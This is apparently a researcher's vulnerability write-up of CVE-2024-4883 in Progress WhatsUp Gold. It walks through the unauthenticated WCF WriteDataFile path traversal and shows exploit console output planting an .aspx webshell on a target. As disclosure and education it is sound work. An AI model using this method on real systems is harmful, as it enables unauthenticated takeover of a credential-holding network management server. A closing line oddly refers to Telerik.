WhatsUp Gold Pre-Auth RCE WriteDataFile Primitive

CVE-2024-4883

TLDR

Previously I discovered a path traversal and now here is another unauthenticated path traversal against the latest version of progress whatsup gold and I also turned it into a pre-auth RCE, following is how I did it

Introduction (yet another TLDR)

Here we go, April 24th I reported a path traversal vulnerability that leads to unauthenticated remote code execution against the latest version of progress whatsup gold. July 3rd the good folks of ZDI published the related advisory.

ZDI

What is WhatsUp Gold

ZDI

At the time, one of many definitions for this product on the vendor’s website is:

WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.

but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:

ZDI

there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.

Advanced .NET Exploitation

sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, things like exploiting WCF (Windows communication foundation), complicated deserializations, lots of other clickbait titles and how to pop shellz on .net targets

AdvancedNetExploitationTraining

The Vulnerability

The NmApi.exe process listens on ports 9642 and 9643, both are used to expose .NET WCF Services, the configuration for these two wcf services has been defined in a .config file at C:\Program Files (x86)\Ipswitch\WhatsUp\NmAPI.exe.config

Line (3) defines a binding of type netTcpBinding and at line (4) labels it as NetTcpBinding_ICoreServices also some other attributes such as different timeout values and quotas are set, then at line (7) the security attribute for this binding is set to None,

at line (34) a service and at line (35) an endpoint is added for this service with its contract value set to NmAPI.ICoreServices

then at line (60) a baseAddress is added for this WCF service with the value net.tcp://localhost:9643

lets have a look at the contract implementation of NmAPI.ICoreServices interface

 1:  <system.serviceModel>
 2:  	<bindings>
 3:  		<netTcpBinding>
 4:  			<binding name="NetTcpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="01:10:00" sendTimeout="00:01:00" transactionFlow="false" transferMode="Buffered" transactionProtocol="OleTransactions" hostNameComparisonMode="StrongWildcard" listenBacklog="10" maxBufferPoolSize="524288" maxBufferSize="99965536" maxConnections="100" maxReceivedMessageSize="99965536" portSharingEnabled="false">
 5:  				<readerQuotas maxDepth="32" maxStringContentLength="99999999" maxArrayLength="999999999" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
 6:  				<reliableSession ordered="true" inactivityTimeout="00:10:00" enabled="false"/>
 7:  				<security mode="None"/>
 8:  			</binding>
 9:  		</netTcpBinding>
10:  		<basicHttpBinding>
11:  			<binding name="BasicHttpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="9965536" maxBufferPoolSize="524288" maxReceivedMessageSize="9965536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true">
12:  				<readerQuotas maxDepth="32" maxStringContentLength="999999" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
13:  			</binding>
14:  		</basicHttpBinding>
15:  	</bindings>
16:  	<behaviors>
17:  		<endpointBehaviors>
18:  			<behavior name="webHttpBehavior">
19:  				<webHttp/>
20:  			</behavior>
21:  		</endpointBehaviors>
22:  		<serviceBehaviors>
23:  			<behavior name="NmAPI.CoreServicesBehavior">
24:  				<serviceMetadata httpGetEnabled="false"/>
25:  				<serviceDebug includeExceptionDetailInFaults="true"/>
26:  			</behavior>
27:  			<behavior name="NmAPI.VirtualizationServicesBehavior">
28:  				<serviceMetadata httpGetEnabled="false"/>
29:  				<serviceDebug includeExceptionDetailInFaults="true"/>
30:  			</behavior>
31:  		</serviceBehaviors>
32:  	</behaviors>
33:  	<services>
34:  		<service behaviorConfiguration="NmAPI.CoreServicesBehavior" name="NmAPI.CoreServices">
35:  			<endpoint address="" binding="netTcpBinding" bindingConfiguration="NetTcpBinding_ICoreServices" contract="NmAPI.ICoreServices"/>
36:  			<endpoint address="CoreServices" binding="wsHttpBinding" contract="NmAPI.ICoreServices">
37:  				<identity>
38:  					<dns value="localhost"/>
39:  				</identity>
40:  			</endpoint>
41:  			<endpoint address="RecurringReport" binding="basicHttpBinding" contract="NmAPI.IRecurringReportServices">
42:  				<identity>
43:  					<dns value="localhost"/>
44:  				</identity>
45:  			</endpoint>
46:  			<endpoint address="DeviceClone" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmAPI.IDeviceCloneServices">
47:  				<identity>
48:  					<dns value="localhost"/>
49:  				</identity>
50:  			</endpoint>
51:  			<endpoint address="AlertCenter" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmContracts.AlertCenter.Interfaces.IAlertCenterService">
52:  				<identity>
53:  					<dns value="localhost"/>
54:  				</identity>
55:  			</endpoint>
56:  			<!-- <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
57:  			<host>
58:  				<baseAddresses>
59:  					<add baseAddress="http://localhost:9642/NmAPI"/>
60:  					<add baseAddress="net.tcp://localhost:9643"/>
61:  				</baseAddresses>
62:  			</host>
63:  		</service>
64:  		<service behaviorConfiguration="NmAPI.VirtualizationServicesBehavior" name="NmAPI.VirtualizationServices">
65:  			<endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" contract="NmAPI.IPolicyRetriever"/>
66:  			<endpoint address="NmAPI/VirtualizationServices/" binding="basicHttpBinding" contract="NmAPI.IVirtualizationServices"/>
67:  			<!-- <endpoint address="NmAPI/VirtualizationServices/VirtualizationServices/mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
68:  			<host>
69:  				<baseAddresses>
70:  					<add baseAddress="http://localhost:9676"/>
71:  				</baseAddresses>
72:  			</host>
73:  		</service>
74:  	</services>
75:  	<diagnostics>
76:  		<!-- messageLogging node controls options for the System.ServiceModel.MessageLogging source -->
77:  		<!-- MSDN documentation: http://msdn.microsoft.com/en-us/library/ms731308.aspx -->
78:  		<messageLogging logEntireMessage="false" logMalformedMessages="false" logMessagesAtServiceLevel="false" logMessagesAtTransportLevel="false" maxMessagesToLog="1000" maxSizeOfMessageToLog="262144" logKnownPii="false">
79:  			<filters>
80:  				<clear/>
81:  			</filters>
82:  		</messageLogging>
83:  	</diagnostics>
84:  </system.serviceModel>

Following interface at NmApi.exe!NmAPI.ICoreServices defines the available methods offered by the target Windows Communication Foundation contract, at line (8) it defines a ServiceContract named ICoreServices then multiple OperationContract are defined, the one we are interested in is the WriteDataFile contract, now you can notice its declaration at line (42), it expects one argument of type EntityDataFileTransfer AKA WUGDataAccess.Core.DataContracts.EntityDataFileTransfer before we look at the implementation of the contract, lets first understand how this argument is structured

1:  using System;
2:  using System.ServiceModel;
3:  using WUGDataAccess;
4:  using WUGDataAccess.Core.DataContracts;
5:  
6:  namespace NmAPI
7:  {
8:  	[ServiceContract]
9:  	public interface ICoreServices
10:  	{
11:  		[OperationContract]
12:  		bool WindowsCredentialUsedByFailover(int credentialID);
13:  
14:  		[OperationContract]
15:  		int WindowsCredentialDeviceUseCount(int credentialID);
16:  
17:  		[OperationContract]
18:  		CredentialInfo[] GetWindowsCredentialInfo();
19:  
20:  		[OperationContract]
21:  		EntityWindowsCredential GetWindowsCredential(int credentialID);
22:  
23:  		[OperationContract]
24:  		EntityWindowsCredential AddWindowsCredential(EntityWindowsCredential windowsCredential);
25:  
26:  		[OperationContract]
27:  		void UpdateWindowsCredential(EntityWindowsCredential windowsCredential);
28:  
29:  		[OperationContract]
30:  		void DeleteWindowsCredential(int credentialID);
31:  
32:  		[OperationContract]
33:  		EntityRegistryValue[] GetFailoverRegistryValues();
34:  
35:  		[OperationContract]
36:  		void UpdateFailoverRegistryValues(EntityRegistryValue[] values);
37:  
38:  		[OperationContract]
39:  		EntityFileInfo[] GetDataDirectoryFiles();
40:  
41:  		[OperationContract]
42:  		void WriteDataFile(EntityDataFileTransfer dataFile);
43:  
44:  		[OperationContract]
45:  		bool FailoverActive(bool enable);
46:  	}
47:  }

The WUGDataAccess.Core.DataContracts.EntityDataFileTransfer type has multiple properties:

now we need to understand the EntityFileInfo structure

 1:  using System;
 2:  using System.Runtime.Serialization;
 3:  
 4:  namespace WUGDataAccess.Core.DataContracts
 5:  {
 6:  	[DataContract]
 7:  	public class EntityDataFileTransfer : IExtensibleDataObject
 8:  	{
 9:  		public virtual ExtensionDataObject ExtensionData
10:  		{
11:  			get
12:  			{
13:  				return this.theData;
14:  			}
15:  			set
16:  			{
17:  				this.theData = value;
18:  			}
19:  		}
20:  
21:  		[DataMember]
22:  		public EntityFileInfo FileInfo { get; set; }
23:  
24:  		[DataMember]
25:  		public byte[] FileContents { get; set; }
26:  
27:  		private ExtensionDataObject theData;
28:  	}
29:  }

The EntityFileInfo type has multiple properties but for us, the property at line (25) is important which is the Name property of type string

now that we understand the EntityDataFileTransfer and EntityFileInfo it is time to go back and investigate the WriteDataFile method

 1:  using System;
 2:  using System.Runtime.Serialization;
 3:  
 4:  namespace WUGDataAccess.Core.DataContracts
 5:  {
 6:  	[DataContract]
 7:  	public class EntityFileInfo : IExtensibleDataObject
 8:  	{
 9:  		public virtual ExtensionDataObject ExtensionData
10:  		{
11:  			get
12:  			{
13:  				return this.theData;
14:  			}
15:  			set
16:  			{
17:  				this.theData = value;
18:  			}
19:  		}
20:  
21:  		[DataMember]
22:  		public string DirectoryName { get; set; }
23:  
24:  		[DataMember]
25:  		public string Name { get; set; }
26:  
27:  		[DataMember]
28:  		public long Length { get; set; }
29:  
30:  		[DataMember]
31:  		public DateTime LastWriteTime { get; set; }
32:  
33:  		private ExtensionDataObject theData;
34:  	}
35:  }

This method is super simple, it expects one argument named dataFile which is of type EntityDataFileTransfer that we discussed earlier, then at line (4) it constructs a path using dataFile.FileInfo.Name which is under our control, the final path is placed inside the text2 variable, then at line (5) a check is done to ensure if this path exists, and if so, at line (8) the provided byte array inside dataFile.FileContents is written to this path by calling the File.WriteAllBytes and passing the text2 for the file path

now if this path doesn’t exist, then the else clause at line (10) is executed and at line (16) a FileStream object is created by calling the File.Create and passing the text2 variable for the file path argument and at line (17) the byte array inside dataFile.FileContents is written to this file stream starting from 0 and then finally this file stream is closed at line (18)

This gives us a write what where primitive allowing us to achieve Pre-Auth Remote Code Execution ^_^

 1:  public void WriteDataFile(EntityDataFileTransfer dataFile)
 2:  {
 3:      string text = Path.Combine(Directory.GetCurrentDirectory(), 
                        "Data" + dataFile.FileInfo.DirectoryName);
 4:      string text2 = Path.Combine(text, dataFile.FileInfo.Name);
 5:      if (File.Exists(text2))
 6:      {
 7:          File.SetAttributes(text2, FileAttributes.Archive);
 8:          File.WriteAllBytes(text2, dataFile.FileContents);
 9:      }
10:      else
11:      {
12:          if (!Directory.Exists(text))
13:          {
14:              Directory.CreateDirectory(text);
15:          }
16:          FileStream fileStream = File.Create(text2);
17:          fileStream.Write(dataFile.FileContents, 0, dataFile.FileContents.Count<byte>());
18:          fileStream.Close();
19:      }
20:      File.SetLastWriteTime(text2, dataFile.FileInfo.LastWriteTime);
21:  }

Proof of Concept

you can find the exploit at the following github repository you need to compile the exploit yourself, this exploit requires references to multiple files, To make things easier, install WhatsupGold on the development machine, although this is not a hard requirement, FYI the references are:

readers

WhatsUpWriteDataFileExploit.exe --target 192.168.0.11 --port 9643 --webshell hax.aspx

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Progress WhatsUp Gold WriteDataFile Unauthenticated Remote Code Execution (CVE-2024-4883)

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE


(^_^) Prepare for the Pwnage (^_^)

(*) Connecting to ICoreServices net.tcp://192.168.0.11:9643/
(*) Connection is ready
(*) Using write what where primitive, to plant C:\Program Files (x86)\Ipswitch\WhatsUp\html\NmConsole\eb8e455a-28d2-4628-80cb-ef2d786c8409.aspx
(+) Webshell has been planted at https://192.168.0.11/NmConsole/eb8e455a-28d2-4628-80cb-ef2d786c8409.aspx

ZERO DAY INITIATIVE

If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Telerik at all, shout out to all of you people working there to make the internet safer.

ZDI

References